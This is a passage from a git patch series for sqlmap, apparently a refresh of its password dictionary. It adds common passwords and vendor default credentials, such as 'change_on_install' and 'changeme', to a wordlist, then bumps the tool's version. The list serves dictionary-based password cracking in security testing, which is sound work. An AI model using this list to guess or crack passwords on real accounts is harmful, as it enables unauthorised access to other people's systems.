+abcdefg1 +abcdefg123 abcdefgh aberdeen abgrtyu @@ -853,6 +754,7 @@ adi adidas adldemo admin +Admin admin1 admin12 admin123 @@ -920,10 +822,14 @@ alex1 alexalex alexande alexander +alexander1 alexandr alexandra +alexandre alexia alexis +Alexis +alexis1 alf alfa alfaro @@ -964,6 +870,7 @@ almond aloha alone alpha +Alpha alpha1 alphabet alpine @@ -1020,9 +927,11 @@ andre1 andrea andrea1 andreas +andrei andres andrew andrew! +Andrew andrew1 andrey andromache @@ -1033,6 +942,7 @@ andyod22 anfield angel angel1 +angel123 angela angelica angelika @@ -1046,8 +956,10 @@ angie angie1 angus angus1 +anhyeuem animal animals +Animals anime anita ann @@ -1066,6 +978,7 @@ answer antares antelope anthony +Anthony anthony1 anthrax anthropogenic @@ -1077,6 +990,7 @@ antony anubis anvils anything +aobo2010 aolsucks ap apache @@ -1119,6 +1033,7 @@ ariana ariane arianna ariel +Ariel aries arizona arkansas @@ -1142,21 +1057,31 @@ arturo asasas asd asd123 +asd123456 asdasd +asdasd123 +asdasd5 +asdasdasd asddsa asdf asdf12 asdf123 asdf1234 -asdf;lkj +asdf12345 asdfasdf asdfg +asdfg1 asdfgh +Asdfgh +asdfgh1 asdfghj asdfghjk asdfghjkl +asdfghjkl1 asdfjkl asdfjkl; +asdf;lkj +asdqwe123 asdsa asdzxc asf @@ -1252,18 +1177,23 @@ az1943 azazel azerty azertyui +azertyuiop azsxdc aztecs azure azzer +b123456 baba babe babes babies baby +baby12 +baby123 babybaby babyblue babyboy +babyboy1 babycake babydoll babyface @@ -1288,11 +1218,14 @@ badger badgers badgirl badman +badoo baggins baggio bahamut bailey +Bailey bailey1 +baili123com baker balance baldwin @@ -1362,6 +1295,7 @@ basset bassman bassoon bastard +Bastard bastards batch bathing @@ -1398,6 +1332,7 @@ bearcat bearcats beardog bears +bearshare beast beastie beasty @@ -1408,9 +1343,11 @@ beatrice beatriz beautifu beautiful +beautiful1 beauty beaver beavis +Beavis beavis1 bebe because @@ -1475,6 +1412,7 @@ beryl bessie best bestbuy +bestfriend beta betacam beth @@ -1486,6 +1424,7 @@ better betty beverly bharat +bhf bian bianca biao @@ -1576,6 +1515,7 @@ bis biscuit bishop bismillah +Bismillah bisounours bitch bitch1 @@ -1619,9 +1559,11 @@ blaze blazer bledsoe blessed +blessed1 blessing blewis blinds +Blink123 blink182 bliss blitz @@ -1701,6 +1643,7 @@ bonanza bonbon bond bond007 +Bond007 bondage bone bonehead @@ -1714,11 +1657,14 @@ bonkers bonner bonnie bonsai +Bonzo boob boobear boobie boobies booboo +Booboo +booboo1 boobs booger boogie @@ -1747,9 +1693,11 @@ boris borussia bosco boss +BOSS boss123 bossman boston +Boston bottle bottom boulder @@ -1822,8 +1770,10 @@ britain british britney brittany +brittany1 brittney broadway +Broadway brodie broken broker @@ -1891,8 +1841,8 @@ buffet buffett buffy buffy1 -bug_reports bugger +bug_reports bugs bugsy builder @@ -1943,6 +1893,7 @@ buttercu buttercup butterfl butterfly +butterfly1 butters buttfuck butthead @@ -1958,6 +1909,7 @@ byebye byron byteme c00per +c123456 caballo cabbage cabernet @@ -1969,7 +1921,6 @@ cactus cad cadillac caesar -cafc91 caitlin calendar calgary @@ -1991,6 +1942,7 @@ camaro camaross camay camber +cambiami camden camel camelot @@ -2031,6 +1983,7 @@ cantona cantor canuck canucks +Canucks canyon capecod capetown @@ -2048,6 +2001,7 @@ carbon card cardiff cardinal +Cardinal cardinals cards carebear @@ -2059,6 +2013,7 @@ carlito carlitos carlo carlos +carlos1 carlton carman carmel @@ -2068,6 +2023,7 @@ carmex2 carnage carnival carol +Carol carol1 carole carolina @@ -2097,6 +2053,7 @@ cash cashmone casino casio +Casio casper casper1 cassandr @@ -2130,8 +2087,6 @@ cavalier caveman cayman cayuga -cbr600 -cbr900rr ccbill cccc ccccc @@ -2139,8 +2094,6 @@ cccccc ccccccc cccccccc cct -cdemo82 -cdemo83 cdemocor cdemorid cdemoucb @@ -2160,6 +2113,7 @@ celica celine celtic celtics +Celtics cement ceng center @@ -2183,6 +2137,7 @@ chameleon champ champion champs +Champs chan chance chandler @@ -2190,9 +2145,11 @@ chandra chanel chang change -change_on_install changeit changeme +Changeme +ChangeMe +change_on_install changes channel chantal @@ -2209,6 +2166,7 @@ charles charles1 charley charlie +Charlie charlie1 charlie2 charlott @@ -2293,6 +2251,7 @@ chippy chips chiquita chivas +chivas1 chloe chloe1 chocha @@ -2307,8 +2266,10 @@ choochoo chopin chopper chou +chouchou chouette chris +Chris chris1 chris123 chris6 @@ -2321,6 +2282,7 @@ christa christi christia christian +christian1 christie christin christina @@ -2372,6 +2334,7 @@ citroen city civic civil +cjmasterinf claire clancy clapton @@ -2432,6 +2395,7 @@ cluster clusters clutch clyde +cme2012 cn coach cobain @@ -2485,6 +2449,7 @@ comanche combat comedy comein +comeon11 comet comfort comics @@ -2504,6 +2469,7 @@ compiere complete compton computer +Computer computer1 comrade comrades @@ -2580,6 +2546,7 @@ cottage cotton coucou cougar +Cougar cougars counter country @@ -2613,6 +2580,7 @@ creamy create creation creative +Creative creature credit creosote @@ -2627,6 +2595,7 @@ cristina critter cromwell cross +crossfire crow crowley crp @@ -2679,10 +2648,12 @@ cupoi curious current curtis +Curtis cus custom customer cutie +cutie1 cutiepie cutlass cutter @@ -2697,8 +2668,8 @@ cypress cyprus cyrano cz -d_syspw -d_systpw +d123456 +D1lakiss dabears dabomb dada @@ -2742,10 +2713,12 @@ dandan dang danger daniel +Daniel daniel1 daniela daniele danielle +danielle1 daniels danni danny @@ -2762,6 +2735,7 @@ dark1 darkange darklord darkman +Darkman darkness darkside darkstar @@ -2854,12 +2828,16 @@ demo demo8 demo9 demon +demon1q2w3e +demon1q2w3e4r +demon1q2w3e4r5t demons denali deng deniro denis denise +Denise denmark dennis denny @@ -2889,7 +2867,6 @@ destiny1 destroy detroit deutsch -dev2000_demos develop device devil @@ -2948,6 +2925,7 @@ dingo dinner dino dinosaur +DIOSESFIEL dip dipper dipshit @@ -3066,11 +3044,13 @@ down downer download downtown +dpbk1234 dpfpass draco dracula draft dragon +Dragon dragon1 dragon12 dragon69 @@ -3105,6 +3085,8 @@ drummer1 drums dsgateway dssys +d_syspw +d_systpw dtsp duan duane @@ -3145,12 +3127,12 @@ dynamite dynamo dynasty e -e-mail eaa eager eagle eagle1 eagles +Eagles eagles1 eam earl @@ -3228,6 +3210,7 @@ elissa elite elizabet elizabeth +Elizabeth elizabeth1 ella ellen @@ -3241,6 +3224,7 @@ elvis1 elvisp elway7 elwood +e-mail email emerald emerson @@ -3250,6 +3234,7 @@ emilio emily emily1 eminem +eminem1 emma emmanuel emmett @@ -3313,6 +3298,7 @@ estate estefania estelle esther +Esther estore estrella eternal @@ -3342,6 +3328,8 @@ exchadm exchange excite exfsys +exigent +Exigent exodus exotic experienced @@ -3356,11 +3344,11 @@ extension extra extreme eyal -f**k f00tball fa fabian face +facebook facial factory faculty @@ -3378,6 +3366,7 @@ fallen fallon fallout family +Family family1 famous fandango @@ -3456,6 +3445,7 @@ field fields fiesta figaro +Figaro fight fighter fii @@ -3491,6 +3481,7 @@ fish fish1 fishbone fisher +Fisher fishers fishes fishfish @@ -3498,6 +3489,7 @@ fishhead fishie fishin fishing +Fishing fishing1 fishman fishon @@ -3505,6 +3497,7 @@ fisting fitness fitter five +f**k fktrcfylh flakes flame @@ -3534,6 +3527,7 @@ florida florida1 flounder flower +flower1 flower2 flowerpot flowers @@ -3583,6 +3577,7 @@ forsythe fortress fortuna fortune +Fortune forum forward fossil @@ -3623,6 +3618,7 @@ freckles fred freddie freddy +Freddy frederic fredfred fredrick @@ -3644,10 +3640,13 @@ french french1 fresh friday +Friday friend friendly friends +Friends friends1 +friendster fright frighten frisco @@ -3665,6 +3664,7 @@ froggy frogman frogs front242 +Front242 frontier frost frosty @@ -3675,9 +3675,9 @@ fubar fuck fuck123 fuck69 -fuck_inside fucked fucker +fucker1 fuckers fuckface fuckfuck @@ -3685,9 +3685,11 @@ fuckhead fuckher fuckin fucking +fuck_inside fuckinside fuckit fuckme +fuckme1 fuckme2 fuckoff fuckoff1 @@ -3696,6 +3698,8 @@ fucku fucku2 fuckyou fuckyou! +Fuckyou +FuckYou fuckyou1 fuckyou2 fugazi @@ -3718,6 +3722,7 @@ future fuzz fuzzy fv +fyfcnfcbz fylhtq gabber gabby @@ -3746,11 +3751,13 @@ games gamma gammaphi gandalf +Gandalf gandalf1 ganesh gang gangbang gangsta +gangsta1 gangster garage garbage @@ -3803,6 +3810,7 @@ german germany germany1 geronimo +Geronimo gertrude gesperrt getmoney @@ -3839,6 +3847,7 @@ gilligan gina ginger ginger1 +Gingers giorgio giovanni giraffe @@ -3847,6 +3856,7 @@ girls giselle giuseppe gizmo +Gizmo gizmo1 gizmodo gl @@ -3904,6 +3914,7 @@ goku gold goldberg golden +Golden golden1 goldfing goldfish @@ -3912,6 +3923,7 @@ goldstar goldwing golf golfball +golfcourse golfer golfer1 golfgolf @@ -3926,18 +3938,20 @@ gonzalez gonzo gonzo1 goober +Goober good -good-luck goodboy goodbye goodday goodgirl goodie +good-luck goodluck goodman goodtime goofy google +google1 googoo gooner goose @@ -4013,6 +4027,7 @@ gremlin grendel greta gretchen +Gretel gretzky griffey griffin @@ -4025,6 +4040,7 @@ groove groovy groucho group +Groupd2013 groups grover grumpy @@ -4055,15 +4071,19 @@ guntis gustav gustavo guyver +gwerty +gwerty123 gymnast gypsy h2opolo hack hacker +Hacker hades haggis haha hahaha +hahaha1 hahahaha hailey hair @@ -4077,6 +4097,7 @@ halifax hall hallie hallo +hallo123 halloween hallowell hambone @@ -4086,6 +4107,7 @@ hamilton hamish hamlet hammer +Hammer hammers hammond hampton @@ -4126,6 +4148,8 @@ hardrock hardware harlem harley +Harley +HARLEY harley1 harman harmony @@ -4138,6 +4162,7 @@ harris harrison harry harry1 +harrypotter harvard harvest harvey @@ -4169,6 +4194,7 @@ hearts heat heater heather +Heather heather1 heather2 heaven @@ -4189,11 +4215,13 @@ helene hell hellfire hello +Hello hello1 hello123 hello2 hello8 hellohello +hellokitty helloo hellos hellyeah @@ -4204,8 +4232,10 @@ help123 helper helpme hendrix +Hendrix heng henry +Henry henry1 hentai herbert @@ -4220,13 +4250,16 @@ hermosa heroes herring hershey +Hershey herzog +hesoyam hetfield hewitt hewlett heyhey heynow heythere +hg0209 hhhh hhhhh hhhhhh @@ -4290,6 +4323,7 @@ homeboy homebrew homemade homer +Homer homer1 homerj homers @@ -4353,6 +4387,7 @@ hotstuff hott hottest hottie +hottie1 hotties houdini hounddog @@ -4450,13 +4485,17 @@ illinois illusion ilmari ilovegod +iloveme +iloveme1 ilovesex iloveu iloveu1 +iloveu2 iloveyou iloveyou! iloveyou. iloveyou1 +iloveyou12 iloveyou2 iloveyou3 image @@ -4476,11 +4515,13 @@ imt include incubus india +india123 indian indiana indians indigo indonesia +Indya123 infantry inferno infiniti @@ -4512,9 +4553,11 @@ intercourse intern internal internet +Internet intranet intrepid intruder +inuyasha inv invalid invalid password @@ -4553,10 +4596,10 @@ itg itsme ivan iverson -iverson3 iwantu izzy j0ker +j123456 j1l2t3 ja jabber @@ -4571,6 +4614,7 @@ jackjack jackoff jackpot jackson +Jackson jackson1 jackson5 jacob @@ -4587,6 +4631,7 @@ jakarta jake jakejake jakey +jakjak jamaica james james007 @@ -4605,6 +4650,7 @@ jan jane janelle janet +Janet janice janie janine @@ -4636,6 +4682,7 @@ je jean jeanette jeanne +Jeanne jeannie jedi jeep @@ -4659,6 +4706,8 @@ jennaj jenni jennie jennifer +Jennifer +jennifer1 jenny jenny1 jensen @@ -4675,10 +4724,12 @@ jerome jerry jerry1 jersey +Jersey jess jesse jesse1 jessica +Jessica jessica1 jessie jester @@ -4728,6 +4779,7 @@ jl jmuser joanie joanna +Joanna joanne jocelyn jockey @@ -4757,6 +4809,7 @@ johnjohn johnny johnny5 johnson +Johnson johnson1 jojo jojojo @@ -4766,12 +4819,14 @@ jokers jomama jonas jonathan +jonathan1 jonathon jones jones1 jonjon jonny jordan +Jordan jordan1 jordan23 jordie @@ -4784,6 +4839,7 @@ joseph1 josephin josh joshua +Joshua joshua1 josie journey @@ -4791,6 +4847,7 @@ joy joyce joyjoy jsbach +JSBach jtf jtm jts @@ -4839,10 +4896,14 @@ justice justice4 justin justin1 +justinbieb +justinbieber justine justme justus juventus +k. +k.: kaboom kahlua kahuna @@ -4880,6 +4941,7 @@ kathrine kathryn kathy katie +Katie katie1 katina katrin @@ -4950,7 +5012,10 @@ kill killa killbill killer +Killer +KILLER killer1 +killer123 killers killjoy killkill @@ -4988,6 +5053,7 @@ kitchen kiteboy kitkat kitten +Kitten kittens kittie kitty @@ -5008,11 +5074,13 @@ klondike knickers knicks knight +Knight knights knock knockers knuckles koala +kobe24 kodiak kojak koko @@ -5065,6 +5133,7 @@ lagnaf laguna lakers lakers1 +lakers24 lakeside lakewood lakota @@ -5099,6 +5168,7 @@ laserjet laskjdf098ksdaf09 lassie lassie1 +lastfm lasvegas latin latina @@ -5108,6 +5178,7 @@ laura laura1 laurel lauren +lauren1 laurence laurent laurie @@ -5125,6 +5196,7 @@ leanne leather lebesgue leblanc +lebron23 ledzep lee leeds @@ -5179,6 +5251,7 @@ liang liao libertad liberty +Liberty libra library lick @@ -5204,16 +5277,20 @@ lilly lima limewire limited +lincogo1 lincoln linda linda1 linden lindros lindsay +Lindsay lindsey ling link +linkedin linkin +linkinpark links lion lionel @@ -5237,6 +5314,8 @@ liverpool1 living liz lizard +Lizard +lizottes lizzie lizzy lkjhgf @@ -5260,11 +5339,13 @@ logan1 logger logical login +Login logitech logos lois loislane loki +lol lol123 lola lolipop @@ -5319,20 +5400,27 @@ louise loulou love love1 +love11 love12 love123 +love1234 +love13 +love4ever love69 lovebug loveit lovelife lovelove lovely +lovely1 loveme loveme1 +loveme2 lover lover1 loverboy lovers +lovers1 lovesex loveya loveyou @@ -5368,6 +5456,7 @@ luther lynn lynne m +m123456 m1911a1 mac macaroni @@ -5391,6 +5480,7 @@ madden maddie maddog madeline +Madeline madison madison1 madmad @@ -5401,6 +5491,7 @@ madoka madonna madrid maestro +maganda magazine magelan magellan @@ -5421,6 +5512,8 @@ magnum magnus magpie magpies +mahalkita +mahalko mahler maiden mail @@ -5446,6 +5539,7 @@ mallrats malone mama mamacita +mamapapa mamas mammoth manag3r @@ -5481,6 +5575,7 @@ manuel manuela manutd maple +mar mara maradona marathon @@ -5497,6 +5592,7 @@ marcos marcus marcy margaret +Margaret margarita margie maria @@ -5545,6 +5641,7 @@ marquis marriage married mars +marseille marsha marshal marshall @@ -5572,6 +5669,7 @@ massage massimo massive master +Master master1 master12 masterbate @@ -5588,6 +5686,7 @@ matrix1 matt matteo matthew +Matthew matthew1 matthews matthias @@ -5612,6 +5711,7 @@ maximus maxine maxmax maxwell +Maxwell maxwell1 maxx maxxxx @@ -5651,6 +5751,7 @@ megaman megan megan1 megane +megaparol12345 megapass megatron meggie @@ -5662,6 +5763,7 @@ melinda melissa melissa1 mellon +Mellon mellow melody melrose @@ -5689,6 +5791,7 @@ meridian merlin merlin1 merlot +Merlot mermaid merrill messenger @@ -5696,11 +5799,14 @@ messiah met2002 metal metallic +Metallic metallica +metallica1 method mets mexican mexico +mexico1 mfg mgr mgwuser @@ -5709,6 +5815,7 @@ miamor mian miao michael +Michael michael1 michael2 michaela @@ -5716,8 +5823,12 @@ michaels michal micheal michel +Michel +Michel1 michele michelle +Michelle +michelle1 michigan michou mick @@ -5731,6 +5842,7 @@ microsoft middle midget midnight +midnight1 midnite midori midvale @@ -5836,6 +5948,7 @@ mollydog molson mom mommy +mommy1 momo momomo momoney @@ -5843,10 +5956,12 @@ monaco monalisa monarch monday +Monday mondeo mone monet money +Money money1 money123 money159 @@ -5868,6 +5983,7 @@ monkeys monopoly monroe monster +Monster monster1 monsters montag @@ -5876,6 +5992,7 @@ montana3 monte montecar montreal +Montreal montrose monty monty1 @@ -5919,6 +6036,7 @@ morton moscow moses mot_de_passe +motdepasse mother mother1 motherfucker @@ -5984,15 +6102,21 @@ mygirl mykids mylife mylove +mynoob mypass mypassword mypc123 myriam myrtle myself +myspace myspace1 +myspace123 +myspace2 mystery mystic +n +N0=Acc3ss nadia nadine nagel @@ -6012,11 +6136,13 @@ napoli napster narnia naruto +naruto1 nasa nascar nascar24 nasty nasty1 +nastya nat natalia nataliag @@ -6040,6 +6166,7 @@ navy navyseal nazgul ncc1701 +NCC1701 ncc1701a ncc1701d ncc1701e @@ -6088,6 +6215,7 @@ newpass6 newport news newton +Newton newuser newyork newyork1 @@ -6103,6 +6231,8 @@ nice niceass niceguy nicholas +Nicholas +nicholas1 nichole nick nickel @@ -6168,6 +6298,7 @@ none none1 nonenone nong +nonmember nonono noodle noodles @@ -6176,6 +6307,7 @@ nopass nopassword norbert noreen +Noriko normal norman normandy @@ -6207,6 +6339,7 @@ nudist nuevopc nugget nuggets +NULL number number1 number9 @@ -6226,8 +6359,8 @@ nympho nyquist oakland oakley -oas_public oasis +oas_public oatmeal oaxaca obelix @@ -6243,17 +6376,18 @@ ocelot ocitest ocm_db_admin october +October octopus odessa odm ods -ods_server odscommon +ods_server odyssey oe -oem_temp oemadm oemrep +oem_temp office officer offshore @@ -6362,6 +6496,7 @@ ottawa otter otto ou812 +OU812 ou8122 ou8123 outback @@ -6383,6 +6518,7 @@ ozf ozp ozs ozzy +p pa pa55w0rd pa55word @@ -6413,6 +6549,7 @@ pajero pakistan palace paladin +Paladin palermo pallmall palmer @@ -6420,6 +6557,7 @@ palmtree paloma pam pamela +Pamela pana panama panasoni @@ -6475,16 +6613,22 @@ passme passpass passport passw0rd +Passw0rd passwd passwo1 passwo2 passwo3 passwo4 passwor + password password! password. +Password +PASSWORD password1 +Password1 +password11 password12 password123 password2 @@ -6527,11 +6671,14 @@ peace peace1 peach peaches +Peaches peaches1 peachy peacock peanut +peanut1 peanuts +Peanuts pearl pearljam pearls @@ -6564,11 +6711,13 @@ penny1 pentagon penthous pentium +Pentium people peoria pepe pepito pepper +Pepper pepper1 peppers pepsi @@ -6594,6 +6743,7 @@ pervert petalo pete peter +Peter peter1 peterbil peterk @@ -6622,6 +6772,7 @@ phish phishy phoebe phoenix +Phoenix phoenix1 phone photo @@ -6653,6 +6804,7 @@ piff pigeon piggy piglet +Piglet pigpen pikachu pillow @@ -6660,6 +6812,7 @@ pilot pimp pimpdadd pimpin +pimpin1 pimping pinball pineappl @@ -6699,6 +6852,7 @@ pizza1 pizzaman pizzas pjm +pk3x7w9W placebo plane planes @@ -6716,6 +6870,7 @@ playball playboy playboy1 player +player1 players playing playmate @@ -6741,6 +6896,7 @@ poa pocket poetic poetry +pogiako point pointer poipoi @@ -6748,6 +6904,8 @@ poison poiuy poiuyt pokemon +pokemon1 +pokemon123 poker poker1 poland @@ -6778,6 +6936,7 @@ poohbear poohbear1 pookey pookie +Pookie pookie1 pool pool6123 @@ -6791,6 +6950,7 @@ pooppoop poopy pooter popcorn +popcorn1 pope popeye popo @@ -6811,16 +6971,6 @@ porsche porsche1 porsche9 porsche911 -portal30 -portal30_admin -portal30_demo -portal30_ps -portal30_public -portal30_sso -portal30_sso_admin -portal30_sso_ps -portal30_sso_public -portal31 portal_demo portal_sso_ps porter @@ -6844,6 +6994,7 @@ power1 powercartuser powers ppp +PPP pppp ppppp pppppp @@ -6865,6 +7016,7 @@ pressure presto preston pretty +pretty1 priest primary primus @@ -6872,6 +7024,7 @@ prince prince1 princesa princess +Princess princess1 princeton pringles @@ -6910,6 +7063,7 @@ psa psalms psb psp +p@ssw0rd psycho pub public @@ -6940,6 +7094,7 @@ puppy puppydog purdue purple +Purple purple1 puss pussey @@ -6959,14 +7114,19 @@ pw123 pyramid pyro python +q12345 +q123456 q1w2e3 q1w2e3r4 q1w2e3r4t5 +q1w2e3r4t5y6 qa qawsed qaz123 qazqaz qazwsx +qazwsx1 +qazwsx123 qazwsxed qazwsxedc qazxsw @@ -6977,12 +7137,14 @@ qing qiong qosqomanta qp +qq123456 qqq111 qqqq qqqqq qqqqqq qqqqqqq qqqqqqqq +qqww1122 qs qs_adm qs_cb @@ -7007,8 +7169,10 @@ quest question quincy qwaszx +qwe qwe123 qweasd +qweasd123 qweasdzxc qweewq qweqwe @@ -7017,13 +7181,20 @@ qwer1234 qwerasdf qwerqwer qwert +Qwert qwert1 qwert123 +qwert12345 qwert40 qwerty +Qwerty qwerty1 qwerty12 qwerty123 +qwerty1234 +qwerty12345 +qwerty123456 +qwerty321 qwerty7 qwerty80 qwertyu @@ -7035,6 +7206,7 @@ qwqwqw r0ger r2d2c3po rabbit +Rabbit rabbit1 rabbits race @@ -7059,6 +7231,7 @@ rage ragnarok raider raiders +Raiders raiders1 railroad rain @@ -7070,6 +7243,7 @@ raindrop rainman rainyday raistlin +Raistlin raleigh rallitas ralph @@ -7088,6 +7262,7 @@ ranch rancid randall random +Random randy randy1 rang @@ -7129,6 +7304,7 @@ realmadrid reaper reason rebecca +Rebecca rebecca1 rebel rebel1 @@ -7192,12 +7368,13 @@ rene renee renegade reng -rep_owner +rental repadmin repair replicate report reports +rep_owner reptile republic republica @@ -7269,6 +7446,7 @@ rob robbie robby robert +Robert robert1 roberta roberto @@ -7301,6 +7479,7 @@ rocknroll rockon rocks rockstar +rockstar1 rockwell rocky rocky1 @@ -7365,6 +7544,7 @@ roy royal royals royalty +rr123456rr rrrr rrrrr rrrrrr @@ -7385,6 +7565,7 @@ rugger rules rumble runaway +runescape runner running rupert @@ -7393,6 +7574,7 @@ rush2112 ruslan russel russell +Russell russia russian rusty @@ -7402,6 +7584,7 @@ ruth ruthie ruthless ryan +s123456 sabbath sabina sabine @@ -7440,13 +7623,15 @@ salvador salvation sam sam123 -samIam samantha +samantha1 sambo samiam +samIam samm sammie sammy +Sammy sammy1 samoht sample @@ -7459,6 +7644,7 @@ samsung1 samuel samuel22 samurai +sanane sanchez sancho sand @@ -7501,11 +7687,13 @@ sasha1 saskia sassy sassy1 +sasuke satan satan666 satori saturday saturn +Saturn saturn5 sauron sausage @@ -7532,6 +7720,7 @@ scheme schmidt schnapps school +school1 science scissors scooby @@ -7626,6 +7815,7 @@ serpent servando server service +Service serviceconsumer1 services sesame @@ -7650,6 +7840,8 @@ sexxxy sexxy sexy sexy1 +sexy12 +sexy123 sexy69 sexybabe sexyboy @@ -7661,6 +7853,7 @@ seymour sf49ers sh shadow +Shadow shadow1 shadow12 shadows @@ -7768,16 +7961,18 @@ shuo shuttle shutup shyshy -si_informtn_schema sick sidekick +Sidekick sidney siemens sierra +Sierra sigma sigmachi signal signature +si_informtn_schema silence silent silly @@ -7824,7 +8019,9 @@ sixty sixty9 skate skater +skater1 skeeter +Skeeter skibum skidoo skiing @@ -7870,6 +8067,7 @@ slimshad slinky slip slipknot +slipknot1 slipknot666 slippery sloppy @@ -7900,6 +8098,7 @@ smoke1 smoker smokes smokey +Smokey smokey1 smokie smokin @@ -7929,6 +8128,7 @@ snooker snoop snoopdog snoopy +Snoopy snoopy1 snow snowball @@ -7997,6 +8197,7 @@ southern southpar southpark southpaw +southside1 sowhat soyhermosa space @@ -8014,6 +8215,7 @@ sparkle sparkles sparks sparky +Sparky sparky1 sparrow sparrows @@ -8034,6 +8236,7 @@ speed speedo speedway speedy +Speedy spence spencer spencer1 @@ -8045,6 +8248,7 @@ spider spider1 spiderma spiderman +spiderman1 spidey spierson spike @@ -8064,6 +8268,8 @@ spock spoiled sponge spongebo +spongebob +spongebob1 spooge spooky spoon @@ -8140,18 +8346,22 @@ starstar start start1 starter +startfinding startrek starwars +starwars1 state static station status +Status stayout stealth steel steele steeler steelers +steelers1 stefan stefanie stefano @@ -8165,14 +8375,17 @@ stephan stephane stephani stephanie +stephanie1 stephen stephen1 stephi stereo sterling +Sterling steve steve1 steven +Steven steven1 stevens stevie @@ -8216,9 +8429,9 @@ stranger strangle strap strat -strat_passwd stratford strato +strat_passwd stratus strawber strawberry @@ -8282,6 +8495,7 @@ suicide sullivan sultan summer +Summer summer1 summer69 summer99 @@ -8303,12 +8517,16 @@ sunnyday sunrise sunset sunshine +Sunshine +sunshine1 super super1 +super123 superb superfly superior superman +Superman superman1 supernov supersecret @@ -8337,6 +8555,7 @@ suzanne suzie suzuki suzy +Sverige svetlana swallow swanson @@ -8361,6 +8580,7 @@ swinging switch switzer swoosh +Swoosh sword swordfis swordfish @@ -8379,17 +8599,16 @@ sympa synergy syracuse sys -sys_stnt sysadm sysadmin sysman syspass +sys_stnt system system5 systempass systems syzygy -t-bone tab tabasco tabatha @@ -8424,6 +8643,7 @@ tara tardis targas target +target123 tarheel tarheels tarpon @@ -8436,13 +8656,16 @@ tata tatiana tattoo taurus +Taurus taxman taylor +Taylor taylor1 tazdevil tazman tazmania tbird +t-bone tbone tdos_icsap teacher @@ -8461,6 +8684,7 @@ teens teflon tekila tekken +Telechargement telecom telefon telefono @@ -8483,6 +8707,7 @@ tenerife teng tennesse tennis +Tennis tequiero tequila terefon @@ -8504,7 +8729,6 @@ test123 test1234 test2 test3 -test_user tester testi testing @@ -8512,6 +8736,7 @@ testing1 testpass testpilot testtest +test_user tetsuo texas texas1 @@ -8547,6 +8772,7 @@ theodore theone there theresa +Theresa therock therock1 these @@ -8560,6 +8786,7 @@ thirteen this thisisit thomas +Thomas thomas1 thompson thong @@ -8575,6 +8802,7 @@ thumb thumbs thumper thunder +Thunder thunder1 thunderb thunderbird @@ -8598,6 +8826,7 @@ tigercat tigers tigers1 tigger +Tigger tigger1 tigger2 tight @@ -8619,6 +8848,7 @@ ting tinker tinkerbe tinkerbell +tinkle tinman tintin tiny @@ -8798,7 +9028,9 @@ tuan tubas tucker tucson +tudelft tuesday +Tuesday tula tulips tuna @@ -8839,8 +9071,8 @@ ultima ultimate ultra um_admin -um_client umbrella +um_client umesh umpire undead @@ -8885,6 +9117,7 @@ username usmarine usmc usnavy +Usuckballz1 util utility utlestat @@ -8940,6 +9173,7 @@ veritas verizon vermont vernon +Vernon verona veronica veronika @@ -8957,6 +9191,8 @@ vicky victor victor1 victoria +Victoria +victoria1 victory video videouser @@ -8971,6 +9207,7 @@ vikram villa village vincent +Vincent vincent1 vinnie vintage @@ -9020,6 +9257,7 @@ walden waldo walker wallace +wall.e wallet walleye wally @@ -9060,6 +9298,7 @@ water water1 waterboy waterloo +Waterloo waters watford watson @@ -9078,6 +9317,7 @@ webmaste webmaster webread webster +Webster wedding wedge weed @@ -9115,6 +9355,7 @@ wh whale1 what whatever +whatever1 whatnot whatsup whatthe @@ -9164,6 +9405,7 @@ williamsburg willie willis willow +Willow willy wilma wilson @@ -9172,6 +9414,7 @@ wind windmill window windows +Windows windsor windsurf winger @@ -9182,6 +9425,7 @@ winner winner1 winners winnie +Winnie winniethepooh winona winston @@ -9198,13 +9442,14 @@ wives wizard wizard1 wizards -wk_test wkadmin wkproxy wksys +wk_test wkuser wms wmsys +woaini wob wolf wolf1 @@ -9217,6 +9462,7 @@ wolfpac wolfpack wolverin wolverine +Wolverine wolves woman wombat @@ -9227,6 +9473,7 @@ wonderboy wood woodie woodland +Woodrow woodstoc woodwind woody @@ -9244,9 +9491,11 @@ work123 working workout world +World wormwood worship worthy +wow12345 wowwow wps wraith @@ -9271,17 +9520,17 @@ wwwwwww wwwwwwww wxcvbn wyoming -x-files -x-men xademo xanadu xander xanth xavier +xbox360 xcountry xdp xerxes xfer +x-files xfiles xian xiang @@ -9291,6 +9540,7 @@ ximenita xing xiong xla +x-men xmodem xnc xni @@ -9326,6 +9576,7 @@ yaya yeah yeahbaby yellow +yellow1 yellowstone yes yeshua @@ -9340,10 +9591,12 @@ yomama yong yosemite yoteamo +youbye123 young young1 -your_pass yourmom +yourmom1 +your_pass yousuck yoyo yoyoma @@ -9360,9 +9613,11 @@ yyyy yyyyyy yyyyyyyy yzerman +z123456 zachary zachary1 zack +zag12wsx zander zang zanzibar @@ -9409,12 +9664,14 @@ zipper zippo zippy zirtaeb +zk.: zmodem zodiac zoltan zombie zong zoomer +zoosk zorro zouzou zuan @@ -9424,9 +9681,12 @@ zxc123 zxccxz zxcv zxcvb +Zxcvb zxcvbn zxcvbnm +Zxcvbnm zxcvbnm1 +zxcvbnm123 zxcxz zxczxc zxzxzx diff --git a/lib/core/settings.py b/lib/core/settings.py index 8aa6bd33720..51d022b5d91 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.12" +VERSION = "1.9.5.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 956aeb3c0ea55b37fd0e060302be2b221b7e3f17 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 23:20:54 +0200 Subject: [PATCH 172/853] Minor refreshment of smalldict --- data/txt/sha256sums.txt | 4 +-- data/txt/smalldict.txt | 79 +++++++++++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 3 files changed, 82 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b33b92d3554..4d9f5ef6562 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -27,7 +27,7 @@ f07b7f4e3f073ce752bda6c95e5a328572b82eb2705ee99e2a977cc4e3e9472b data/txt/commo 1e626d38f202c1303fa12d763b4499cf6a0049712a89829eeed0dd08b2b0957f data/txt/common-outputs.txt 